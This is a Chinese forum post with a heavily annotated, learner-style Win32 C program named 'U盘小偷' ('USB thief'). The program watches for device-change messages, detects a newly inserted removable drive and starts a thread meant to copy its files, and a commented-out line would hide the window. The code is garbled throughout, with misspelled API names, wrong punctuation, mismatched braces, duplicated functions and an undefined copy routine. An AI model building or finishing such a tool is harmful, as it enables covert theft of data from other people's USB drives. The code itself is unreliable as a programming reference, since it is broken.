好友
阅读权限10
听众
最后登录1970-1-1
|
本帖最后由 zhanghailiangji 于 2018-3-2 11:43 编辑
#include<windows.h> //窗口头文件
#include"resource.h"
#include<Dbt.h > //DBT_DEVICEARRIVAL头文件
#include<stdio.h > //头文件
//获取当前插入设备对应的磁盘编号
char firstdrivefromMask(ULONG unitmask) //返回字符,写一个函数
//firstdrivefromMask(ULONG)传一个参数ULONG
//窗口处理函数
LRESULT CALLBACK windowproc( // windowproc函数处理
//LRESULT//返回值,就是long . // windowproc()//函数名写上,指针 . //CALLBACK 回调函数,__ctdcall,默认的是:__pascal
4个参数:HWND hwnd //窗口句柄
UINT umsg //UINT无符号int型 ,消息编号
WPARAM wparam //附加消息
LPARAM iparam //附加消息
}
{
TCHAR *pszrootpath = NULL; //定一个变量
//TCHAR定一个变量,pszrootpath根目录
switch(umsg) //判断一下关闭消息
{
cese WM_DEVICECHANGE; //U盘插入消息, 设备改变消息
//判断 switch(wparam)
{
case DBT_DEVICEARRIVAL; //设备已经插入计算机,并且可以使用
去掉//messagebox(hwnd,TEXT("已经检检测设备插入并且可以使用") ,TEXT("提示") ,MB_OK);
{
//判断一下// //强制转换//DEV_BROADCAST_HDR * lpdb = (DEV_BROADCAST_HDR*) lparam; // HDR盘符
//lpdb 是个变量,逻辑卷, lparam强制转换 , DEV_BROADCAST_HDR结构体类型
DEV_BROADCAST_ VOLUME*lpdbv = ( DEV_BROADCAST_ VOLUME*)lpdb; //获取盘符名称
//VOLUME逻辑卷 , 强制转换DEV_BROADCAST_ VOLUME*lpdbv = ( DEV_BROADCAST_ VOLUME), 强制转换lpdb拿过来
char chdisk = firstdrivefromMask(lpdbv ->dbcv_unitmask); //盘符出来了
//调用 firstdrivefromMask(lpdbv ->dbcv_unitmask), 值char字符的
pszrootpath = new TCHAR[MAX_PATH]; //根目录值 ,给他一个值
// new TCHAR[MAX_PATH]开辟空间
sprintf(pszrootpath,"%c:", chdisk); //格式化, c字符, :号格式化进去了,:号格代表路径
//判断驱动器类型
if (DRIVE_REMOVABLE == getdrivetype(pszrootpath)) //判断一下getdrivetype(pszrootpath
//DRIVE_REMOVABLE可移动磁盘
{
//创建一个线程,复制文件,递归函数
createthread(NULL, NULL, copyproc,NULL,NULL,NULL);
//创建线程NULL, NULL, copyproc,NULL,NULL,NULL
//copyfile() ; //复制一个文件
//createdirectory();//创建文件夹
}
break;
//判断一下// case DBT_DEVICEREMOVECOMPLETE; //设备移除完成 ,设备删除
去掉//messagebox(hwnd,TEXT("已经检检测设备已经移除") ,TEXT("提示") ,MB_OK);
break;
}
messagebox(hwnd,TEXT("已经检测到设备发成改变") ,TEXT("提示") ,MB_OK); //弹处框框, 消息提示框
//TEXT("已经检测到设备发成改变") ,TEXT("提示") ,MB_OK); // 弹出一个 语句
break;
case WM_CLOSE: //CLOSE消息 , 窗口关闭消息
//showWindow(hwnd,SW_HIDE); //隐藏
destroywindow(hwnd); //销毁窗口
break;
case WM_DESTROY; //处理这个消息, 窗口销毁消息, 变量销毁,数据清理
postquitmessage(0); //退出
break;
}
return Defwindowproc(hwnd,umsg,wparam,lparam);
}
//获取当前插入设备对应的磁盘编号
char firstdrivefromMask(ULONG unitmask)
(
char i; //制定一个char, 返回ch
//for循环// for(i=0;i<32;i++) //i<32整数32位
{
if(unitmask & 1) // unitmask & 1 按位语为真就break
break; //跳出循环
unitmask = unitmask >> 1; //不为真右移>>1
}
return i+‘A’; // 移上循环次数
return ch; //返回ch
)//main //函数 winmain() //函数
int WINAPI //入口 winmain(
1.参数//HINSTANCE hinstance, //应用程序实例句柄
2.参数//HINSTANCE hpreinstance, //应用程序前一个实例句柄
3.参数//LPSTR ipcmdline // 命令行参数 , 字符串
//LPSTR ipcmdline 就是char*
4.参数//int ncmdshow //整形参数,表示窗口的显示方式,最大化,最小化,隐藏
}
{
/*
做一个窗口:
步骤:1.设计窗口类
找到工具 -- spy++ -- 望远镜。
TEXT // 宏定义,字符集:默认编码:unicode编码,多字节字符集
//字符串数组表示//TCHAR szclassappname[ ] = TEXT ("TZ-UDiskthief "); //名字
//WND 窗口 , CLASS类名
//结构体变量//WNDCLASS wndclass; //窗口类型
wndclass,cbclsextra = 0; //窗口类型额外字节大小
wndclass,cbwndextra = 0 ; //窗口扩展空间字节大小
wndclass,hbrbackground =(HBRUSH) getstockobject(WHITE_BRUSH) ; //加载白色背景画刷
// HBRUSH强制转换
wndclass,hcursor =loadcursor( NULL,IDC_ARROW) ; //加载光标
// loadcursor加载箭头光标 , IDC_ARROW箭头名字
wndclass.hicon = loadicon(hinstance,MAKEINTRESOURCE(IDI_ICON1) ); //加载图标
//hicon 图标 ,定义,IDI_ICON1头文件在resource.h里面#define IDI_ICON1 101
//MAKEINTRESOURCE(IDI_ICON1)强制转换
wndclass.hinstance = hinstance; //应用程序实例句柄
wndclass.lpfnwndproc =windowproc; //窗口处理函数,回调函数
wndclass.lpszclassname = szclassappname //窗口类型名
wndclass.lpszmenuname = NULL; //菜单名
wndclass.style = CS_HREDRAW | CS_VREDRAW | CS_DBLCLKS; //窗口类的风格
2.注册窗口类
registerclass(&wndclass); //注册窗口类
3.创建窗口
HWND hwnd = createwindow( //HWND hwnd 窗口句柄值
szclassappname, //窗口的类型名
TEXT("U盘小偷"), //窗口标题
WS_OVERLAPPEDWINDOW, //窗口的风格
300, //窗口位置和坐标,窗口左上角横坐标
100, // 窗口左上角纵坐标
400, //窗口的宽度
300, // 窗口的高度
NULL, //父窗口句柄
NULL, //菜单句柄
hinstance, //应用程序实例句柄
NULL, //参数
);
4.显示窗口
showWindow(hwnd, SW_SHOW); //显示窗口
5.更新窗口
updatewindow(hwnd); //更新与刷新一下
6.消息循环
MSG msg; //定一个变量
while(getmessage(&msg ,NULL , 0 ,0) ) // while循环. 消息循环
//getmessage获取, 保存在&msg里面, 获取全部消息NULL , 0 ,0
{
//将虚拟键消息转换为字符消息
translatemessage(&msg); //translatemessage 函数 msg值转换,转换
//将消息分发给窗口处理函数处理
dispatchmessage(&msg);
}
*/
}
return 0; //结束程序
//窗口处理函数
LRESULT CALLBACK windowproc(
//LRESULT//返回值,就是long . // windowproc()//函数名写上,指针 . //CALLBACK 回调函数,__ctdcall,默认的是:__pascal
4个参数:HWND hwnd //窗口句柄
UINT umsg //UINT无符号int型 ,消息编号
WPARAM wparam //附加消息
} LPARAM iparam //附加消息
{
return defwindowproc(hwnd,umsg,wparam,lparam); //defwindowproc(hwnd)调用系统函数来处理
} |
免费评分
-
查看全部评分
|